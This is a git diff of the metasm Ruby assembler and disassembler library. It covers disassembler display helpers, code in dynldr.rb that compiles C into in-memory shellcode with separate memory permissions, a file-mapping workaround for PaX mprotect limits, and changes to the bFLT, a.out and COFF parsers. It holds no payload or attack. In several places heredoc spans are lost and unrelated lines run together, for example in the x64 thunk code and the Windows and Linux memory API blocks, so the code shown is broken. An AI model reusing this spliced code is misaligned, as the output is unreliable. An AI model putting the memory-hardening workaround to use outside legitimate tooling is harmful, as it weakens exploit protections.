[] + mb.untypedef.members.each { |mm| + if bo = mb.bitoffsetof(c_parser, mm) + boff, blen = bo + if mm.name && blen == 1 && ((num_left >> boff) & 1) > 0 + s_or << mm.name + num_left &= ~(1 << boff) + end + end + } + if s_or.first + if num_left != 0 + s_or << ('0x%X' % num_left) + end + s = s_or.join('|') + num.lexpr = nil + num.op = :+ + num.rexpr = ExpressionString.new(Expression[num_i], s, :bitfield) + _di.add_comment cmt if _di.address != di.address + end + end + } + + doit[di, byte_off*8] + + if reg = @cpu.instr_args_regs(di).find { |r| v = di.backtrace_binding[r.symbolic] and (v - ind.symbolic) == 0 } + reg = reg.symbolic + trace_function_register(di.address, reg => Expression[0]) { |_di, r, val, trace| + if r.kind_of?(Expression) and r.op == :& + if r.lexpr == reg + # test al, 42 + doit[_di, byte_off*8] + elsif r.lexpr.kind_of?(Expression) and r.lexpr.op == :>> and r.lexpr.lexpr == reg + # test ah, 42 + doit[_di, byte_off*8+r.lexpr.rexpr] + end + end + next if r != reg and val != Expression[reg] + doit[_di, byte_off*8] + _di.address == di.address && r == reg ? Expression[0] : val + } + end + end + end + # change Expression display mode for current object o to display integers as char constants def toggle_expr_char(o) - return if not o.kind_of? Renderable + return if not o.kind_of?(Renderable) + tochars = lambda { |v| + if v.kind_of?(::Integer) + a = [] + vv = v.abs + a << (vv & 0xff) + vv >>= 8 + while vv > 0 + a << (vv & 0xff) + vv >>= 8 + end + if a.all? { |b| b < 0x7f } + s = a.pack('C*').inspect.gsub("'") { '\\\'' }[1...-1] + ExpressionString.new(v, (v > 0 ? "'#{s}'" : "-'#{s}'"), :char) + end + end + } o.each_expr { |e| - e.render_info ||= {} - e.render_info[:char] = e.render_info[:char] ? nil : @cpu.endianness + if e.kind_of?(Expression) + if nr = tochars[e.rexpr] + e.rexpr = nr + elsif e.rexpr.kind_of?(ExpressionString) and e.rexpr.type == :char + e.rexpr = e.rexpr.expr + end + if nl = tochars[e.lexpr] + e.lexpr = nl + elsif e.lexpr.kind_of?(ExpressionString) and e.lexpr.type == :char + e.lexpr = e.lexpr.expr + end + end + } + end + + def toggle_expr_dec(o) + return if not o.kind_of?(Renderable) + o.each_expr { |e| + if e.kind_of?(Expression) + if e.rexpr.kind_of?(::Integer) + e.rexpr = ExpressionString.new(Expression[e.rexpr], e.rexpr.to_s, :decimal) + elsif e.rexpr.kind_of?(ExpressionString) and e.rexpr.type == :decimal + e.rexpr = e.rexpr.reduce + end + if e.lexpr.kind_of?(::Integer) + e.lexpr = ExpressionString.new(Expression[e.lexpr], e.lexpr.to_s, :decimal) + elsif e.lexpr.kind_of?(ExpressionString) and e.lexpr.type == :decimal + e.lexpr = e.lexpr.reduce + end + end } end @@ -1118,6 +1645,7 @@ class Disassembler def toggle_expr_offset(o) return if not o.kind_of? Renderable o.each_expr { |e| + next unless e.kind_of?(Expression) if n = @prog_binding[e.lexpr] e.lexpr = n elsif e.lexpr.kind_of? ::Integer and n = get_label_at(e.lexpr) @@ -1133,6 +1661,15 @@ class Disassembler } end + # toggle all ExpressionStrings + def toggle_expr_str(o) + return if not o.kind_of?(Renderable) + o.each_expr { |e| + next unless e.kind_of?(ExpressionString) + e.hide_str = !e.hide_str + } + end + # call this function on a function entrypoint if the function is in fact a __noreturn # will cut the to_subfuncret of callers def fix_noreturn(o) @@ -1184,7 +1721,7 @@ class Disassembler # searched for in the Metasmdir/samples/dasm-plugins subdirectory if not found in cwd def load_plugin(plugin_filename) if not File.exist?(plugin_filename) - if File.exist?(plugin_filename+'.rb') + if File.exist?(plugin_filename+'.rb') plugin_filename += '.rb' elsif defined? Metasmdir # try autocomplete @@ -1225,7 +1762,7 @@ class Disassembler if bd2.kind_of? DecodedInstruction bd2 = bd2.backtrace_binding ||= cpu.get_backtrace_binding(bd2) end - + reduce = lambda { |e| Expression[Expression[e].reduce] } bd = {} @@ -1276,5 +1813,31 @@ class Disassembler bd end + + def gui_hilight_word_regexp(word) + @cpu.gui_hilight_word_regexp(word) + end + + # return a C::AllocCStruct from c_parser + # TODO handle program.class::Header.to_c_struct + def decode_c_struct(structname, addr) + if c_parser and edata = get_edata_at(addr) + c_parser.decode_c_struct(structname, edata.data, edata.ptr) + end + end + + def decode_c_ary(structname, addr, len) + if c_parser and edata = get_edata_at(addr) + c_parser.decode_c_ary(structname, len, edata.data, edata.ptr) + end + end + + # find the function containing addr, and find & rename stack vars in it + def name_local_vars(addr) + if @cpu.respond_to?(:name_local_vars) and faddr = find_function_start(addr) + @function[faddr] ||= DecodedFunction.new # XXX + @cpu.name_local_vars(self, faddr) + end + end end end diff --git a/lib/metasm/metasm/dynldr.rb b/lib/metasm/metasm/dynldr.rb index 38af7becc7..67ef531509 100644 --- a/lib/metasm/metasm/dynldr.rb +++ b/lib/metasm/metasm/dynldr.rb @@ -52,15 +52,17 @@ extern VALUE *rb_cObject __attribute__((import)); extern VALUE *rb_eRuntimeError __attribute__((import)); extern VALUE *rb_eArgError __attribute__((import)); -#define Qfalse ((VALUE)0) -#define Qtrue ((VALUE)2) -#define Qnil ((VALUE)4) - // allows generating a ruby1.9 dynldr.so from ruby1.8 #ifndef DYNLDR_RUBY_19 #define DYNLDR_RUBY_19 #{RUBY_VERSION >= '1.9' ? 1 : 0} #endif +#if #{RUBY_VERSION >= '2.0' ? 1 : 0} +// flonums. WHY? +// also breaks Qtrue/Qnil +#define rb_float_new rb_float_new_in_heap +#endif + #if DYNLDR_RUBY_19 #define T_STRING 0x05 #define T_ARRAY 0x07 @@ -163,7 +165,7 @@ static VALUE memory_write(VALUE self, VALUE addr, VALUE val) static VALUE memory_write_int(VALUE self, VALUE addr, VALUE val) { *(uintptr_t *)VAL2INT(addr) = VAL2INT(val); - return Qtrue; + return 1; } static VALUE str_ptr(VALUE self, VALUE str) @@ -200,7 +202,7 @@ static VALUE sym_addr(VALUE self, VALUE lib, VALUE func) if (TYPE(func) != T_STRING && TYPE(func) != T_FIXNUM) rb_raise(*rb_eArgError, "Invalid func"); - + if (TYPE(func) == T_FIXNUM) p = os_load_sym_ord(h, VAL2INT(func)); else @@ -224,7 +226,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) { if (TYPE(args) != T_ARRAY || ARY_LEN(args) > 64) rb_raise(*rb_eArgError, "bad args"); - + uintptr_t flags_v = VAL2INT(flags); uintptr_t ptr_v = VAL2INT(ptr); unsigned i, argsz; @@ -241,7 +243,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) ret = do_invoke_stdcall(ptr_v, argsz, args_c); else ret = do_invoke(ptr_v, argsz, args_c); - + if (flags_v & 4) return rb_ull2inum((unsigned __int64)ret); else if (flags_v & 8) @@ -257,23 +259,27 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) // callback generated by callback_alloc // heavy stack magick at work here ! // TODO float args / float retval / ret __int64 -uintptr_t do_callback_handler(uintptr_t ori_retaddr, uintptr_t caller_id, uintptr_t arg0) +uintptr_t do_callback_handler(uintptr_t ori_retaddr, uintptr_t caller_id, uintptr_t arg0, uintptr_t arg_ecx __attribute__((register(ecx))), uintptr_t arg_edx __attribute__((register(edx)))) { uintptr_t *addr = &arg0; unsigned i, ret; - VALUE args = rb_ary_new2(8); + VALUE args = rb_ary_new2(10); + + // __fastcall callback args + ARY_PTR(args)[0] = INT2VAL(arg_ecx); + ARY_PTR(args)[1] = INT2VAL(arg_edx); // copy our args to a ruby-accessible buffer - for (i=0U ; i<8U ; ++i) + for (i=2U ; i<10U ; ++i) ARY_PTR(args)[i] = INT2VAL(*addr++); - RArray(args)->len = 8U; // len == 8, no need to ARY_LEN/EMBED stuff + RArray(args)->len = 10U; // len == 10, no need to ARY_LEN/EMBED stuff ret = rb_funcall(dynldr, rb_intern("callback_run"), 2, INT2VAL(caller_id), args); // dynldr.callback will give us the arity (in bytes) of the callback in args[0] // we just put the stack lifting offset in caller_id for the asm stub to use caller_id = VAL2INT(ARY_PTR(args)[0]); - + return VAL2INT(ret); } @@ -290,7 +296,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) { if (TYPE(args) != T_ARRAY || ARY_LEN(args) > 16) rb_raise(*rb_eArgError, "bad args"); - + uintptr_t flags_v = VAL2INT(flags); uintptr_t ptr_v = VAL2INT(ptr); int i, argsz; @@ -312,7 +318,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) args_c[4], args_c[5], args_c[6], args_c[7], args_c[8], args_c[9], args_c[10], args_c[11], args_c[12], args_c[13], args_c[14], args_c[15]); - + if (flags_v & 8) return rb_float_new(fake_float()); @@ -379,8 +385,7 @@ static void *wstrcaseruby(short *s1, int len) { int i = 0; int match = 0; - - static char *want = "ruby"; // cant contain the same letter twice + char *want = "ruby"; // cant contain the same letter twice while (i < len) { if (want[match] == (s1[i] | 0x20)) { // downcase cmp @@ -474,11 +479,11 @@ int load_ruby_imports(uintptr_t rbaddr) if (rbaddr) ruby_module = find_ruby_module_mem(rbaddr); else - ruby_module = find_ruby_module_peb(); + ruby_module = find_ruby_module_peb(); if (!ruby_module) return 0; - + ptr = &ruby_import_table; table = (char*)ptr; @@ -494,7 +499,7 @@ int load_ruby_imports(uintptr_t rbaddr) #ifdef __x86_64__ #define DLL_PROCESS_ATTACH 1 -__stdcall int DllMain(void *handle, int reason, void *res) +int DllMain(void *handle, int reason, void *res) { if (reason == DLL_PROCESS_ATTACH) return load_ruby_imports(0); @@ -509,7 +514,7 @@ EOS do_invoke_fastcall: push ebp mov ebp, esp - + // load ecx/edx, fix arg/argcount mov eax, [ebp+16] mov ecx, [eax] @@ -627,7 +632,7 @@ EOS # save the shared library bin.encode_file(modulename, :lib) end - + def self.compile_binary_module_hack(bin) # this is a hack # we need the module to use ruby symbols @@ -765,7 +770,7 @@ EOS else raise LoadError, "Unsupported host platform #{RUBY_PLATFORM}" end end - + # returns whether we run on linux or windows def self.host_arch case RUBY_PLATFORM @@ -788,16 +793,73 @@ EOS cp.parse(src) end - # compile a C fragment into a Shellcode, honors the host ABI + # compile a C fragment into a Shellcode_RWX, honors the host ABI def self.compile_c(src) # XXX could we reuse self.cp ? (for its macros etc) cp = C::Parser.new(host_exe.new(host_cpu)) cp.parse(src) - sc = Shellcode.new(host_cpu) + sc = Shellcode_RWX.new(host_cpu) asm = host_cpu.new_ccompiler(cp, sc).compile sc.assemble(asm) end + # maps a Shellcode_RWX in memory, fixup stdlib relocations + # returns the Shellcode_RWX, with the base_r/w/x initialized to the allocated memory + def self.sc_map_resolve(sc) + sc_map_resolve_addthunks(sc) + + sc.base_r = memory_alloc(sc.encoded_r.length) if sc.encoded_r.length > 0 + sc.base_w = memory_alloc(sc.encoded_w.length) if sc.encoded_w.length > 0 + sc.base_x = memory_alloc(sc.encoded_x.length) if sc.encoded_x.length > 0 + + locals = sc.encoded_r.export.keys | sc.encoded_w.export.keys | sc.encoded_x.export.keys + exts = sc.encoded_r.reloc_externals(locals) | sc.encoded_w.reloc_externals(locals) | sc.encoded_x.reloc_externals(locals) + bd = {} + exts.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise rescue raise "unknown symbol #{ext.inspect}" } + sc.fixup_check(bd) + + memory_write sc.base_r, sc.encoded_r.data if sc.encoded_r.length > 0 + memory_write sc.base_w, sc.encoded_w.data if sc.encoded_w.length > 0 + memory_write sc.base_x, sc.encoded_x.data if sc.encoded_x.length > 0 + + memory_perm sc.base_r, sc.encoded_r.length, 'r' if sc.encoded_r.length > 0 + memory_perm sc.base_w, sc.encoded_w.length, 'rw' if sc.encoded_w.length > 0 + memory_perm sc.base_x, sc.encoded_x.length, 'rx' if sc.encoded_x.length > 0 + + sc + end + + def self.sc_map_resolve_addthunks(sc) + case host_cpu.shortname + when 'x64' + # patch 'call moo' into 'call thunk; thunk: jmp qword [moo_ptr]' + # this is similar to ELF PLT section, allowing code to call + # into a library mapped more than 4G away + # XXX handles only 'call extern', not 'lea reg, extern' or anything else + # in this case, the linker will still raise an 'immediate overflow' + # during fixup_check in sc_map_resolve + [sc.encoded_r, sc.encoded_w, sc.encoded_x].each { |edata| + edata.reloc.dup.each { |off, rel| + # target only call extern / jmp.i32 extern + next if rel.type != :i32 + next if rel.target.op != :- + next if edata.export[rel.target.rexpr] != off+4 + next if edata.export[rel.target.lexpr] + opc = edata.data[off-1, 1].unpack('C')[0] + next if opc != 0xe8 and opc != 0xe9 + + thunk_sc = Shellcode.new(host_cpu).share_namespace(sc) + thunk = thunk_sc.assemble(< auto_cb) if fa and fa.type.integral? and cp.sizeof(fa) == 8 and host_cpu.size == 32 aa = [aa & 0xffff_ffff, (aa >> 32) & 0xffff_ffff] @@ -965,6 +1027,10 @@ EOS raise "invalid callback #{'%x' % id} not in #{@@callback_table.keys.map { |c| c.to_s(16) }}" if not cb rawargs = args.dup + if host_cpu.shortname == 'ia32' and (not cb[:proto_ori] or not cb[:proto_ori].has_attribute('fastcall')) + rawargs.shift + rawargs.shift + end ra = cb[:proto] ? cb[:proto].args.map { |fa| convert_cbargs_c2rb(fa, rawargs) } : [] # run it @@ -995,6 +1061,7 @@ EOS # XXX val is an integer, how to decode Floats etc ? raw binary ptr ? def self.convert_c2rb(formal, val) formal = formal.type if formal.kind_of? C::Variable + val &= (1 << 8*cp.sizeof(formal))-1 if formal.integral? val = Expression.make_signed(val, 8*cp.sizeof(formal)) if formal.integral? and formal.signed? val = nil if formal.pointer? and val == 0 val @@ -1019,13 +1086,8 @@ EOS if (v and v.initializer) or cp.toplevel.statements.find { |st| st.kind_of? C::Asm } cp.toplevel.statements.delete_if { |st| st.kind_of? C::Asm } cp.toplevel.symbol.delete v.name if v - sc = compile_c(proto) - ptr = memory_alloc(sc.encoded.length) - sc.base_addr = ptr - # TODO fixup external calls - memory_write ptr, sc.encode_string - memory_perm ptr, sc.encoded.length, 'rwx' - ptr + sc = sc_map_resolve(compile_c(proto)) + sc.base_x elsif not v raise 'empty prototype' else @@ -1044,6 +1106,7 @@ EOS cb[:id] = id cb[:proc] = b cb[:proto] = proto + cb[:proto_ori] = ori cb[:abi_stackfix] = proto.args.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('stdcall') cb[:abi_stackfix] = proto.args[2..-1].to_a.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('fastcall') # supercedes stdcall @@callback_table[id] = cb @@ -1058,29 +1121,34 @@ EOS # finds a free callback id, allocates a new page if needed def self.callback_find_id if not id = @@callback_addrs.find { |a| not @@callback_table[a] } - cb_page = memory_alloc(4096) + page_size = 4096 + cb_page = memory_alloc(page_size) sc = Shellcode.new(host_cpu, cb_page) case sc.cpu.shortname when 'ia32' - addr = cb_page - nrcb = 128 # TODO should be 4096/5, but the parser/compiler is really too slow - nrcb.times { - @@callback_addrs << addr - sc.parse "call #{CALLBACK_TARGET}" - addr += 5 - } + asm = "call #{CALLBACK_TARGET}" when 'x64' - addr = cb_page - nrcb = 128 # same remark - nrcb.times { - @@callback_addrs << addr - sc.parse "1: lea rax, [rip-$_+1b] jmp #{CALLBACK_TARGET}" - addr += 12 # XXX approximative.. - } + if (cb_page - CALLBACK_TARGET).abs >= 0x7fff_f000 + # cannot directly 'jmp CB_T' + asm = "1: mov rax, #{CALLBACK_TARGET} push rax lea rax, [rip-$_+1b] ret" + else + asm = "1: lea rax, [rip-$_+1b] jmp #{CALLBACK_TARGET}" + end + else + raise 'Who are you?' end - sc.assemble - memory_write cb_page, sc.encode_string - memory_perm cb_page, 4096, 'rx' + + # fill the page with valid callbacks + loop do + off = sc.encoded.length + sc.assemble asm + break if sc.encoded.length > page_size + @@callback_addrs << (cb_page + off) + end + + memory_write cb_page, sc.encode_string[0, page_size] + memory_perm cb_page, page_size, 'rx' + raise 'callback_alloc bouh' if not id = @@callback_addrs.find { |a| not @@callback_table[a] } end id @@ -1090,23 +1158,17 @@ EOS # returns the raw pointer to the code page # if given a block, run the block and then undefine all the C functions & free memory def self.new_func_c(src) - sc = compile_c(src) - ptr = memory_alloc(sc.encoded.length) - sc.base_addr = ptr - bd = sc.encoded.binding(ptr) - sc.encoded.reloc_externals.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise "unknown symbol #{ext}" } - sc.encoded.fixup(bd) - memory_write ptr, sc.encode_string - memory_perm ptr, sc.encoded.length, 'rwx' + sc = sc_map_resolve(compile_c(src)) + parse_c(src) # XXX the Shellcode parser may have defined stuff / interpreted C another way... defs = [] cp.toplevel.symbol.dup.each_value { |v| next if not v.kind_of? C::Variable cp.toplevel.symbol.delete v.name next if not v.type.kind_of? C::Function or not v.initializer - next if not off = sc.encoded.export[v.name] + next if not off = sc.encoded_x.export[v.name] rbname = c_func_name_to_rb(v.name) - new_caller_for(v, rbname, ptr+off) + new_caller_for(v, rbname, sc.base_x+off) defs << rbname } if block_given? @@ -1114,16 +1176,20 @@ EOS yield ensure defs.each { |d| class << self ; self ; end.send(:remove_method, d) } - memory_free ptr + memory_free sc.base_r if sc.base_r + memory_free sc.base_w if sc.base_w + memory_free sc.base_x if sc.base_x end else - ptr + sc.base_x end end # compile an asm sequence, callable with the ABI of the C prototype given # function name comes from the prototype - def self.new_func_asm(proto, asm) + # the shellcode is mapped in read-only memory unless selfmodifyingcode is true + # note that you can use a .data section for simple writable non-executable memory + def self.new_func_asm(proto, asm, selfmodifyingcode=false) proto += "\n;" old = cp.toplevel.symbol.keys parse_c(proto) @@ -1133,38 +1199,38 @@ EOS raise "invalid func proto #{proto}" if not f.name or not f.type.kind_of? C::Function or f.initializer cp.toplevel.symbol.delete f.name - sc = Shellcode.assemble(host_cpu, asm) - ptr = memory_alloc(sc.encoded.length) - bd = sc.encoded.binding(ptr) - sc.encoded.reloc_externals.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise "unknown symbol #{ext}" } - sc.encoded.fixup(bd) - memory_write ptr, sc.encode_string - memory_perm ptr, sc.encoded.length, 'rwx' + sc = Shellcode_RWX.assemble(host_cpu, asm) + sc = sc_map_resolve(sc) + if selfmodifyingcode + memory_perm sc.base_x, sc.encoded_x.length, 'rwx' + end rbname = c_func_name_to_rb(f.name) - new_caller_for(f, rbname, ptr) + new_caller_for(f, rbname, sc.base_x) if block_given? begin yield ensure class << self ; self ; end.send(:remove_method, rbname) - memory_free ptr + memory_free sc.base_r if sc.base_r + memory_free sc.base_w if sc.base_w + memory_free sc.base_x end else - ptr - end + sc.base_x end + end # allocate a C::AllocCStruct to hold a specific struct defined in a previous new_api_c def self.alloc_c_struct(structname, values={}) cp.alloc_c_struct(structname, values) - end + end # return a C::AllocCStruct mapped over the string (with optionnal offset) # str may be an EncodedData def self.decode_c_struct(structname, str, off=0) str = str.data if str.kind_of? EncodedData cp.decode_c_struct(structname, str, off) - end + end # allocate a C::AllocCStruct holding an Array of typename variables # if len is an int, it holds the ary length, or it can be an array of initialisers @@ -1234,69 +1300,70 @@ EOS when :windows new_api_c < PAGE_READONLY, 'rw' => PAGE_READWRITE, 'rx' => PAGE_EXECUTE_READ, 'rwx' => PAGE_EXECUTE_READWRITE }[perm.to_s.downcase] virtualprotect(addr, len, perm, str_ptr([0].pack('C')*8)) end - - when :linux - - new_api_c < 0 and @memory_perm_wd ||= find_write_dir + # We are on a PaX-mprotected system. Try to use a file mapping to work aroud. + Dir.chdir(@memory_perm_wd) { + fname = 'tmp_mprot_%d_%x' % [Process.pid, addr] + data = memory_read(addr, len) + begin + File.open(fname, 'w') { |fd| fd.write data } + # reopen to ensure filesystem flush + rret = File.open(fname, 'r') { |fd| mmap(addr, len, p, MAP_FIXED|MAP_PRIVATE, fd.fileno, 0) } + raise 'hax' if data != memory_read(addr, len) + ret = 0 if rret == addr + ensure + File.unlink(fname) rescue nil + end + } + end + + ret end - + end end end diff --git a/lib/metasm/metasm/encode.rb b/lib/metasm/metasm/encode.rb index 438e4a054d..ef6fa74f7e 100644 --- a/lib/metasm/metasm/encode.rb +++ b/lib/metasm/metasm/encode.rb @@ -271,7 +271,16 @@ class Expression def encode(type, endianness, backtrace=nil) case val = reduce when Integer; EncodedData.new Expression.encode_imm(val, type, endianness, backtrace) - else EncodedData.new([0].pack('C')*(INT_SIZE[type]/8), :reloc => {0 => Relocation.new(self, type, endianness, backtrace)}) + else + str = case INT_SIZE[type] + when 8; "\0" + when 16; "\0\0" + when 32; "\0\0\0\0" + when 64; "\0\0\0\0\0\0\0\0" + else [0].pack('C')*(INT_SIZE[type]/8) + end + str = str.force_encoding('BINARY') if str.respond_to?(:force_encoding) + EncodedData.new(str, :reloc => {0 => Relocation.new(self, type, endianness, backtrace)}) end end diff --git a/lib/metasm/metasm/exe_format/a_out.rb b/lib/metasm/metasm/exe_format/a_out.rb index b43dc568c3..c273d51c55 100644 --- a/lib/metasm/metasm/exe_format/a_out.rb +++ b/lib/metasm/metasm/exe_format/a_out.rb @@ -58,7 +58,7 @@ class AOut < ExeFormat class Relocation < SerialStruct word :address bitfield :word, 0 => :symbolnum, 24 => :pcrel, 25 => :length, - 27 => :extern, 28 => :baserel, 29 => :jmptable, 30 => :relative, 31 => :rtcopy + 27 => :extern, 28 => :baserel, 29 => :jmptable, 30 => :relative, 31 => :rtcopy fld_enum :length, 0 => 1, 1 => 2, 2 => 4, 3 => 8 fld_default :length, 4 end @@ -68,7 +68,7 @@ class AOut < ExeFormat bitfield :byte, 0 => :extern, 1 => :type, 5 => :stab byte :other half :desc - word :value + word :value attr_accessor :name def decode(aout, strings=nil) @@ -93,6 +93,9 @@ class AOut < ExeFormat def encode_byte(w) Expression[w].encode(:u8 , @endianness) end def encode_half(w) Expression[w].encode(:u16, @endianness) end def encode_word(w) Expression[w].encode(:u32, @endianness) end + def sizeof_byte ; 1 ; end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end def initialize(cpu = nil) @endianness = cpu ? cpu.endianness : :little @@ -119,11 +122,11 @@ class AOut < ExeFormat @data = EncodedData.new << @encoded.read(@header.data) - textrel = @encoded.read @header.trsz - datarel = @encoded.read @header.drsz - syms = @encoded.read @header.syms - strings = @encoded.read # TODO + #textrel = @encoded.read @header.trsz + #datarel = @encoded.read @header.drsz + #syms = @encoded.read @header.syms + #strings = @encoded.read end def encode diff --git a/lib/metasm/metasm/exe_format/autoexe.rb b/lib/metasm/metasm/exe_format/autoexe.rb index 6e3eb63445..3bd94d953c 100644 --- a/lib/metasm/metasm/exe_format/autoexe.rb +++ b/lib/metasm/metasm/exe_format/autoexe.rb @@ -58,6 +58,7 @@ register_signature("\xca\xfe\xba\xbe") { UniversalBinary } register_signature("dex\n") { DEX } register_signature("dey\n") { DEY } register_signature("\xfa\x70\x0e\x1f") { FatELF } +register_signature("\x50\x4b\x03\x04") { ZIP } register_signature('Metasm.dasm') { Disassembler } # replacement for AutoExe where #load defaults to a Shellcode of the specified CPU diff --git a/lib/metasm/metasm/exe_format/bflt.rb b/lib/metasm/metasm/exe_format/bflt.rb index f64b6f6406..ec70a2756c 100644 --- a/lib/metasm/metasm/exe_format/bflt.rb +++ b/lib/metasm/metasm/exe_format/bflt.rb @@ -9,6 +9,7 @@ require 'metasm/decode' module Metasm # BFLT is the binary flat format used by the uClinux +# from examining a v4 binary, it looks like the header is discarded and the file is mapped from 0x40 to memory address 0 (wrt relocations) class Bflt < ExeFormat MAGIC = 'bFLT' FLAGS = { 1 => 'RAM', 2 => 'GOTPIC', 4 => 'GZIP' } @@ -29,13 +30,20 @@ class Bflt < ExeFormat when MAGIC else raise InvalidExeFormat, "Bad bFLT signature #@magic" end + + if @rev >= 0x01000000 and (@rev & 0x00f0ffff) == 0 + puts "Bflt: probable wrong endianness, retrying" if $VERBOSE + exe.endianness = { :big => :little, :little => :big }[exe.endianness] + exe.encoded.ptr -= 4*16 + super(exe) + end end def set_default_values(exe) @magic ||= MAGIC @rev ||= 4 @entry ||= 0x40 - @data_start ||= @entry + exe.text.length if exe.text + @data_start ||= 0x40 + exe.text.length if exe.text @data_end ||= @data_start + exe.data.data.length if exe.data @bss_end ||= @data_start + exe.data.length if exe.data @stack_size ||= 0x1000 @@ -49,7 +57,9 @@ class Bflt < ExeFormat def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end def encode_word(w) Expression[w].encode(:u32, @endianness) end + def sizeof_word ; 4 ; end + attr_accessor :endianness def initialize(cpu = nil) @endianness = cpu ? cpu.endianness : :little @header = Header.new @@ -61,17 +71,17 @@ class Bflt < ExeFormat def decode_header @encoded.ptr = 0 @header.decode(self) + @encoded.add_export(new_label('entrypoint'), @header.entry) end def decode decode_header - @encoded.ptr = @header.entry - @text = EncodedData.new << @encoded.read(@header.data_start - @header.entry) - @data = EncodedData.new << @encoded.read(@header.data_end - @header.data_start) - @data.virtsize += (@header.bss_end - @header.data_end) + @text = @encoded[0x40...@header.data_start] + @data = @encoded[@header.data_start...@header.data_end] + @data.virtsize += @header.bss_end - @header.data_end - if @header.flags.include? 'GZIP' + if @header.flags.include?('GZIP') # TODO gzip raise 'bFLT decoder: gzip format not supported' end @@ -79,7 +89,7 @@ class Bflt < ExeFormat @reloc = [] @encoded.ptr = @header.reloc_start @header.reloc_count.times { @reloc << decode_word } - if @header.version == 2 + if @header.rev == 2 @reloc.map! { |r| r & 0x3fff_ffff } end @@ -87,32 +97,29 @@ class Bflt < ExeFormat end def decode_interpret_relocs + textsz = @header.data_start-0x40 @reloc.each { |r| # where the reloc is - if r >= @header.entry and r < @header.data_start + if r < textsz section = @text - base = @header.entry - elsif r >= @header.data_start and r < @header.data_end - section = @data - base = @header.data_start + off = section.ptr = r else - puts "out of bounds reloc at #{Expression[r]}" if $VERBOSE - next + section = @data + off = section.ptr = r-textsz end # what it points to - section.ptr = r-base target = decode_word(section) - if target >= @header.entry and target < @header.data_start - target = label_at(@text, target - @header.entry, "xref_#{Expression[target]}") - elsif target >= @header.data_start and target < @header.bss_end - target = label_at(@data, target - @header.data_start, "xref_#{Expression[target]}") + if target < textsz + target = label_at(@text, target, "xref_#{Expression[target]}") + elsif target < @header.bss_end-0x40 + target = label_at(@data, target-textsz, "xref_#{Expression[target]}") else - puts "out of bounds reloc target at #{Expression[r]}" if $VERBOSE + puts "out of bounds reloc target #{Expression[target]} at #{Expression[r]}" if $VERBOSE next end - @text.reloc[r-base] = Relocation.new(Expression[target], :u32, @endianness) + section.reloc[off] = Relocation.new(Expression[target], :u32, @endianness) } end @@ -127,8 +134,8 @@ class Bflt < ExeFormat @encoded = EncodedData.new @encoded << @header.encode(self) - - binding = @text.binding(@header.entry).merge(@data.binding(@header.data_start)) + + binding = @text.binding(0x40).merge(@data.binding(@header.data_start)) @encoded << @text << @data.data @encoded.fixup! binding @encoded.reloc.clear @@ -143,7 +150,7 @@ class Bflt < ExeFormat mapaddr = new_label('mapaddr') binding = @text.binding(mapaddr).merge(@data.binding(mapaddr)) [@text, @data].each { |section| - base = @header.entry || 0x40 + base = 0x40 # XXX maybe 0 ? base = @header.data_start || base+@text.length if section == @data section.reloc.each { |o, r| if r.endianness == @endianness and [:u32, :a32, :i32].include? r.type and @@ -167,7 +174,16 @@ class Bflt < ExeFormat case instr.raw.downcase when '.text'; @cursource = @textsrc when '.data'; @cursource = @datasrc - # entrypoint is the 1st byte of .text + when '.entrypoint' + # ".entrypoint " or ".entrypoint" (here) + @lexer.skip_space + if tok = @lexer.nexttok and tok.type == :string + raise instr if not entrypoint = Expression.parse(@lexer) + else + entrypoint = new_label('entrypoint') + @cursource << Label.new(entrypoint, instr.backtrace.dup) + end + @header.entry = entrypoint else super(instr) end end @@ -181,9 +197,23 @@ class Bflt < ExeFormat self end + def get_default_entrypoints + ['entrypoint'] + end + def each_section - yield @text, @header.entry - yield @data, @header.data_start + yield @text, 0 + yield @data, @header.data_start - @header.entry + end + + def section_info + [['.text', 0, @text.length, 'rx'], + ['.data', @header.data_addr-0x40, @data.data.length, 'rw'], + ['.bss', @header.data_end-0x40, @data.length-@data.data.length, 'rw']] + end + + def module_symbols + ['entrypoint', @header.entry-0x40] end end end diff --git a/lib/metasm/metasm/exe_format/coff.rb b/lib/metasm/metasm/exe_format/coff.rb index 05ef3cc7ee..a330ea5f1f 100644 --- a/lib/metasm/metasm/exe_format/coff.rb +++ b/lib/metasm/metasm/exe_format/coff.rb @@ -81,7 +81,7 @@ class COFF < ExeFormat 11 => 'UNION_MEMBER', 12 => 'UNION_TAG', 13 => 'TYPEDEF', 14 => 'UNDEF_STATIC', 15 => 'ENUM_TAG', 16 => 'ENUM_MEMBER', 17 => 'REG_PARAM', 18 => 'BIT_FIELD', 100 => 'BLOCK', 101 => 'FUNCTION', 102 => 'END_STRUCT', - 103 => 'FILE', 104 => 'SECTION', 105 => 'WEAK_EXT', + 103 => 'FILE', 104 => 'SECTION', 105 => 'WEAK_EXT', } DEBUG_TYPE = { 0 => 'UNKNOWN', 1 => 'COFF', 2 => 'CODEVIEW', 3 => 'FPO', 4 => 'MISC', @@ -140,7 +140,7 @@ class COFF < ExeFormat bytes :link_ver_maj, :link_ver_min words :code_size, :data_size, :udata_size, :entrypoint, :base_of_code # base_of_data does not exist in 64-bit - new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, 0) + new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, lambda { |exe, hdr| exe.bitsize != 64 ? 4 : 0 }, 0) # NT-specific fields xword :image_base words :sect_align, :file_align @@ -264,7 +264,7 @@ class COFF < ExeFormat class TLSDirectory < SerialStruct 